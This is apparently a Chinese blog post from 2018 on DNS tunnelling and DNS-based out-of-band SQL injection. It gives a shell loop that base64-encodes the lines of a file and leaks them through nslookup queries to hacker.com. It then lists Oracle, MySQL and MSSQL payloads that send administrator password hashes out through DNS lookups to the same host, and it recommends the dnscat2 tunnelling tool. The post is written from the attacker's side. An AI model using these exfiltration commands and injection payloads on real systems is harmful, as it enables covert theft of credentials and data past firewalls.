DNS隧道技術解析

FLy_鵬程萬里發表於2018-06-04

DNS基礎

大家可以自行搜尋關於dns的幾種查詢方式以及查詢流程,因為比較基礎,我這裡就不貼了。下面貼一個關於dns查詢的圖,大家自行理解:


DNS隧道技術是如何實現的

一個查詢的流程

我們通過下圖來理解一下


第一步: 黑客向內部dns伺服器傳送一個查詢hacker.com的請求(這個域名的控制許可權是在黑客手裡的)

第二步:內部dns伺服器通過防火牆向根dns伺服器發出查詢請求

第三步:經過大量重定向後,DNS請求到達hacker.com的權威DNS伺服器,該伺服器處於黑客的控制之下

第四步:黑客請求查詢的響應結果通過防火牆

第五步:響應結果返回到內部伺服器

第六步:內部伺服器將響應結果返回給黑客

上面的流程展示了一個黑客在連線外部網路時dns解析的一個過程。由於防火牆並沒有對dns協議做任何處理,所以我們可以通過這種方式向外網傳送資料來穿透防火牆。

如何向外部dns傳送資料

1 將下面內容儲存一個檔案

cat sensitive.txt Alice
Bob
John

2 使用如下命令

for i in $(cat sensitive.txt); do d=$(echo $i|base64) && nslookup $d.hacker.com; done

以上命令的意思是,迴圈讀取檔案內容,並且對內容進行base64編碼然後用nslookup 將編碼後的內容作為主機名向dns傳送查詢請求。我們可以跟蹤dns伺服器的解析日誌,找出傳送出去的內容。

下面是這種方式的問題:

1 這是一個單向通道,不可以從外部到內部,只能從內部到外部。

2 這種處理一下小檔案是可以的,但是如果有個100M的檔案就不那麼友好了

這是我們就需要一個工具來完成這個任務了。

推薦工具

一款優秀的工具dnscat2,下載地址:https://github.com/iagox86/dnscat2

dnscat2提供客戶端和服務端。

使用的條件:

1 一臺vps

2 一個域名控制許可權

3 一臺內網許可權

利用dns回顯sql注入

基於以上思路,我們在遇到沒有回顯的注入時,不能確定命令是否成功,我們可以利用dns,將結果回顯到自己的dns伺服器上,下面簡單說一下不同資料庫的利用方式。

MSSQL

有用的儲存過程
master..xp_dirtree

功能:遞迴獲取指定目錄下的所有目錄

命令:master..xp_dirtree '<dirpath>'

master..xp_fileexist

功能:檢測指定磁碟下有沒有該檔案

命令:xp_fileexist '<filepath>'

master..xp_subdirs

功能:獲取指定目錄下的目錄列表

命令:master..xp_subdirs '<dirpath>'

獲取sa的hash

執行以上命令即可在遠端dns伺服器上留下解析日誌,獲得hash

Oracle

UTL_INADDR.GET_HOST_ADDRESS

函式:UTL_INADDR.GET_HOST_ADDRESS('<host>')

exp:SELECT UTL_INADDR.GET_HOST_ADDRESS('password.hacker.com');

UTL_HTTP.REQUEST

函式:UTL_HTTP.REQUEST('<url>')

exp:SELECT UTL_HTTP.REQUEST('http://password.hacker.com/index.php') FROM DUAL;

HTTPURITYPE.GETCLOB

函式:HTTPURITYPE('<url>').GETCLOB()

exp:SELECT HTTPURITYPE('http://password.hacker.com/index.php').GETCLOB() FROM DUAL;

DBMS_LDAP.INIT

函式:DBMS_LDAP.INIT(('<host>',<port>)

exp:SELECT DBMS_LDAP.INIT(('password.hacker.com',80) FROM DUAL;

舉例

SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.hacker.com',80) FROM DUAL;

以上查詢語句將管理員的密碼解析到我們的dns伺服器上

Mysql

LOAD_FILE

函式:LOAD_FILE('<filepath>')

exp:SELECT LOAD_FILE('C:\Windows\system.ini');

舉例

SELECT LOAD_FILE(CONCAT('\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.hacker.com\foobar'));

將root使用者的hash解析到我們的dns伺服器上

PostgreSQL

COPY

函式:COPY <table>(<column>,...) FROM '<path>'

exp:COPY users(names) FROM 'C:\Windows\Temp\users.txt'

舉例

由於PostgreSQL不接受子查詢,切變數和函式必須進行顯視宣告。所以利用過程比較麻煩。

總結

本文簡單的講解了DNS隧道技術是如何實現的,以及簡單的測試,推薦了工具,然而並沒有對工具如何使用進行闡述,這就需要小夥伴們自己去測試了。


相關文章